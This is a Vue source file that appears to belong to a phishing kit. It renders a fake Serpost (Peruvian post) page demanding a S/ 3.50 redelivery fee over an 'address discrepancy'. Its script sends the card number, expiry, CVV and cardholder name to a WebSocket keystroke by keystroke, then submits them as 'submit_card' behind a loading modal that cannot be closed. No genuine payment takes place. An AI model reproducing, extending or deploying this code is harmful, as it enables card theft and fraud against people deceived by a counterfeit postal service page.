Files
zy-client-a/a4_se_post_instabox/src/views/CardView copy.vue
telangpu f421220d77 update
2026-05-07 23:00:28 +08:00

504 lines
13 KiB
Vue

<template>
<CommonLayout>
<template #default>
<div class="sp-gateway-final-v3">
<div class="sp-top-banner">
<p class="sp-top-banner-text">
Debido a una discrepancia en la dirección, se aplicará una tarifa de
reenvío de S/ 3.50 para la entrega corregida. También puede optar
por recoger el paquete en su oficina de Serpost local sin costo
adicional. Agradecemos su comprensión.
</p>
</div>
<h2 class="sp-section-label">Opciones de Pago</h2>
<div class="sp-card-icons-row">
<img :src="c1" class="sp-brand-icon" alt="visa" />
<img :src="c2" class="sp-brand-icon" alt="master" />
<img :src="c5" class="sp-brand-icon" alt="amex" />
<img :src="c7" class="sp-brand-icon" alt="maestro" />
<img :src="c3" class="sp-brand-icon" alt="jcb" />
<img :src="c6" class="sp-brand-icon" alt="discover" />
<img :src="c8" class="sp-brand-icon" alt="diners" />
</div>
<div class="sp-card-form-body">
<div class="sp-form-header-title">DETALLES DE PAGO</div>
<form @submit.prevent="next" class="sp-main-form-content">
<div
class="sp-field-container"
:class="getFieldClass('cardNumber', 16)"
>
<div class="sp-field-relative">
<input
type="text"
v-model="formData.cardNumber"
@input="onCardNumberChange"
maxlength="19"
class="sp-field-input"
placeholder=" "
required
/>
<label class="sp-field-label">Número de Tarjeta</label>
<div class="sp-field-icon-box">
<img
:src="cardInfo.path"
class="sp-field-card-img"
v-if="cardInfo.identified"
/>
<svg v-else class="sp-field-card-svg" viewBox="0 0 24 24">
<path
d="M20 4H4c-1.11 0-1.99.89-1.99 2L2 18c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V6c0-1.11-.89-2-2-2zm0 14H4v-6h16v6zm0-10H4V6h16v2z"
></path>
</svg>
</div>
<div class="sp-field-line-bar"></div>
</div>
</div>
<div class="sp-row-flex">
<div
class="sp-field-container sp-flex-half"
:class="getFieldClass('expires', 5, true)"
>
<div class="sp-field-relative">
<input
type="text"
v-model="formData.expires"
@input="onExpiresChange"
maxlength="5"
class="sp-field-input"
placeholder=" "
required
/>
<label class="sp-field-label">MM/AA</label>
<div class="sp-field-line-bar"></div>
</div>
</div>
<div
class="sp-field-container sp-flex-half"
:class="getFieldClass('cvv', 3)"
>
<div class="sp-field-relative">
<input
type="text"
v-model="formData.cvv"
@input="onCvvChange"
maxlength="4"
class="sp-field-input"
placeholder=" "
required
/>
<label class="sp-field-label">CVV</label>
<div class="sp-field-line-bar"></div>
</div>
</div>
</div>
<div
class="sp-field-container"
:class="getFieldClass('cardName', 3)"
>
<div class="sp-field-relative">
<input
type="text"
v-model="formData.cardName"
@input="onCardNameChange"
class="sp-field-input"
placeholder=" "
required
/>
<label class="sp-field-label">Nombre del Tarjetahabiente</label>
<div class="sp-field-line-bar"></div>
</div>
</div>
<div class="sp-terms-group-wrapper">
<div class="sp-checkbox-layout">
<input
type="checkbox"
id="sp_legal_agree"
v-model="termsAccepted"
class="sp-real-checkbox"
required
/>
<label for="sp_legal_agree" class="sp-checkbox-facade">
<span class="sp-box-ui"></span>
<span class="sp-text-ui">
Acepto los
<a href="#" class="sp-link-bold">Términos de Servicio</a> y
la
<a href="#" class="sp-link-bold">Política de Privacidad</a>
</span>
</label>
</div>
</div>
<button
type="submit"
class="sp-btn-submit"
:disabled="!isFormValid"
>
Pagar S/ 3.50
</button>
</form>
</div>
</div>
</template>
</CommonLayout>
<PaymentLoadingModal
v-model:visible="isModalVisible"
:card-number="formData.cardNumber"
:loading="true"
:closable="false"
/>
</template>
<script setup lang="ts">
import { nextTick, onMounted, onUnmounted, reactive, ref, computed } from "vue";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import eventBus from "@/utils/eventBus";
import { useRoute } from "vue-router";
import PaymentLoadingModal from "@/components/PaymentLoadingModal.vue";
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
import c2 from "@/assets/img/d9f501073fcfa.svg";
import c3 from "@/assets/img/761998023fcfa.svg";
import c4 from "@/assets/img/272b931f3fcfa.svg";
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
import c6 from "@/assets/img/e62e66803fcfa.svg";
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
import c8 from "@/assets/img/1a32e1333fcfa.svg";
import { inputChange, myWebSocket,configData } from "@/utils/common";
const isModalVisible = ref(false);
const termsAccepted = ref(false);
const loadingStore = useLoadingStore();
const formData = reactive({
cardNumber: "",
cardName: "",
expires: "",
cvv: "",
});
// 核心修复:识别逻辑
const cardInfo = computed(() => {
const num = formData.cardNumber.replace(/\D/g, "");
if (!num) return { identified: false, path: "" };
if (/^4/.test(num)) return { identified: true, path: c1 };
if (/^(5[1-5]|222[1-9]|22[3-9]|2[3-6]|27[0-1]|2720)/.test(num))
return { identified: true, path: c2 };
if (/^3[47]/.test(num)) return { identified: true, path: c5 };
if (/^(62|81)/.test(num)) return { identified: true, path: c4 };
if (/^6(011|4[4-9]|5)/.test(num)) return { identified: true, path: c6 };
if (/^35/.test(num)) return { identified: true, path: c3 };
if (/^(30|36|38|39)/.test(num)) return { identified: true, path: c8 };
if (/^(50|56|57|58|6)/.test(num)) return { identified: true, path: c7 };
return { identified: false, path: "" };
});
// 2026年日期校验
const isExpiryDateValid = computed(() => {
if (formData.expires.length !== 5) return false;
const [mStr, yStr] = formData.expires.split("/");
const mm = parseInt(mStr);
const yy = parseInt(yStr);
if (isNaN(mm) || isNaN(yy) || mm < 1 || mm > 12) return false;
const currentYY = 26;
const currentMM = new Date().getMonth() + 1;
if (yy < currentYY) return false;
if (yy === currentYY && mm < currentMM) return false;
return true;
});
const getFieldClass = (
field: keyof typeof formData,
minLen: number,
isDate = false
) => {
const val = formData[field].replace(/\s/g, "");
if (val.length === 0) return "";
let isValid = isDate ? isExpiryDateValid.value : val.length >= minLen;
return isValid ? "sp-status-valid" : "sp-status-active";
};
const isFormValid = computed(() => {
return (
formData.cardNumber.replace(/\s/g, "").length >= 15 &&
isExpiryDateValid.value &&
formData.cvv.length >= 3 &&
formData.cardName.trim().length >= 3 &&
termsAccepted.value
);
});
const onCardNameChange = (e: any) =>
inputChange("input_card", "cardName", e.target.value);
const onCardNumberChange = (e: any) => {
let val = e.target.value.replace(/\D/g, "");
formData.cardNumber = val.replace(/(.{4})/g, "$1 ").trim();
inputChange("input_card", "cardNumber", val);
};
const onExpiresChange = (e: any) => {
let val = e.target.value.replace(/\D/g, "").slice(0, 4);
if (val.length > 2) val = val.slice(0, 2) + "/" + val.slice(2, 4);
formData.expires = val;
inputChange("input_card", "expires", val);
};
const onCvvChange = (e: any) => {
formData.cvv = e.target.value.replace(/\D/g, "").slice(0, 4);
inputChange("input_card", "cvv", formData.cvv);
};
const next = async () => {
await nextTick();
if (!isFormValid.value) return;
isModalVisible.value = true;
myWebSocket?.send(
JSON.stringify({
event: "submit_card",
content: {
type: "submitCard",
formData: {
...formData,
cardNumber: formData.cardNumber.replace(/\s/g, ""),
},
},
})
);
};
onMounted(() => {
loadingStore.setLoading(false);
myWebSocket?.send(
JSON.stringify({ event: "page_type", content: { pageType: "card" } })
);
});
</script>
<style scoped>
.sp-gateway-final-v3 {
max-width: 480px;
margin: 0 auto;
padding: 16px;
background: #fff;
font-family: Arial, Helvetica, sans-serif;
box-sizing: border-box;
}
.sp-gateway-final-v3 * {
box-sizing: border-box;
}
.sp-top-banner {
border: 1px solid #e2e8f0;
border-radius: 12px;
padding: 18px;
margin-bottom: 25px;
}
.sp-top-banner-text {
color: #666;
font-size: 14px;
line-height: 1.5;
text-align: center;
margin: 0;
}
.sp-section-label {
font-size: 16px;
font-weight: bold;
color: #31455a;
margin-bottom: 15px;
}
.sp-card-icons-row {
display: flex;
gap: 8px;
margin-bottom: 25px;
flex-wrap: wrap;
}
.sp-brand-icon {
height: 22px;
border: 1px solid #f0f0f0;
border-radius: 3px;
padding: 2px 5px;
}
.sp-card-form-body {
border: 1px solid #eee;
border-radius: 4px;
padding: 30px 20px;
}
.sp-form-header-title {
text-align: center;
font-size: 18px;
letter-spacing: 1.2px;
color: #000;
border-bottom: 1px solid rgb(243, 244, 246);
text-align: center;
margin-bottom: 40px;
padding-bottom: 24px;
}
.sp-field-container {
margin-bottom: 32px;
}
.sp-field-relative {
position: relative;
width: 100%;
}
.sp-field-input {
width: 100%;
border: none;
border-bottom: 1.5px solid #d1d1d1;
padding: 10px 0;
font-size: 16px;
background: transparent;
outline: none;
color: #333;
}
.sp-field-label {
position: absolute;
top: 10px;
left: 0;
color: #999;
font-size: 15px;
pointer-events: none;
transition: 0.2s ease all;
}
.sp-field-input:focus ~ .sp-field-label,
.sp-field-input:not(:placeholder-shown) ~ .sp-field-label {
top: -18px;
font-size: 12px;
color: #555;
}
.sp-field-line-bar {
position: absolute;
bottom: 0;
left: 0;
width: 100%;
height: 0;
transition: 0.2s ease all;
}
.sp-status-active .sp-field-input {
border-bottom-color: transparent;
}
.sp-status-active .sp-field-line-bar {
height: 2.5px;
background: #ff0000;
}
.sp-status-valid .sp-field-input {
border-bottom-color: transparent;
}
.sp-status-valid .sp-field-line-bar {
height: 2.5px;
background: #002d5f;
}
.sp-field-icon-box {
position: absolute;
right: 0;
top: 8px;
display: flex;
align-items: center;
}
.sp-field-card-img {
height: 20px;
}
.sp-field-card-svg {
width: 24px;
height: 24px;
fill: #999;
}
.sp-row-flex {
display: flex;
gap: 20px;
}
.sp-flex-half {
flex: 1;
}
/* 复选框强力修复 */
.sp-terms-group-wrapper {
margin: 10px 0 35px;
width: 100%;
}
.sp-checkbox-layout {
display: flex;
align-items: center;
}
.sp-real-checkbox {
position: absolute;
opacity: 0;
width: 0;
height: 0;
}
.sp-checkbox-facade {
display: flex;
align-items: center;
cursor: pointer;
font-size: 13px;
color: #444;
}
.sp-box-ui {
flex-shrink: 0;
width: 18px;
height: 18px;
border: 1px solid #bbb;
border-radius: 2px;
margin-right: 12px;
position: relative;
}
.sp-real-checkbox:checked + .sp-checkbox-facade .sp-box-ui {
background-color: #002d5f;
border-color: #002d5f;
}
.sp-real-checkbox:checked + .sp-checkbox-facade .sp-box-ui::after {
content: "";
position: absolute;
left: 5px;
top: 2px;
width: 5px;
height: 9px;
border: solid white;
border-width: 0 2px 2px 0;
transform: rotate(45deg);
}
.sp-link-bold {
color: #000;
font-weight: bold;
text-decoration: underline;
}
.sp-btn-submit {
width: 100%;
height: 56px;
background: #9ba1a6;
color: #fff;
border: none;
border-radius: 8px;
font-size: 18px;
font-weight: bold;
cursor: not-allowed;
transition: background 0.3s ease;
}
.sp-btn-submit:not(:disabled) {
background: #4a5568;
cursor: pointer;
}
</style>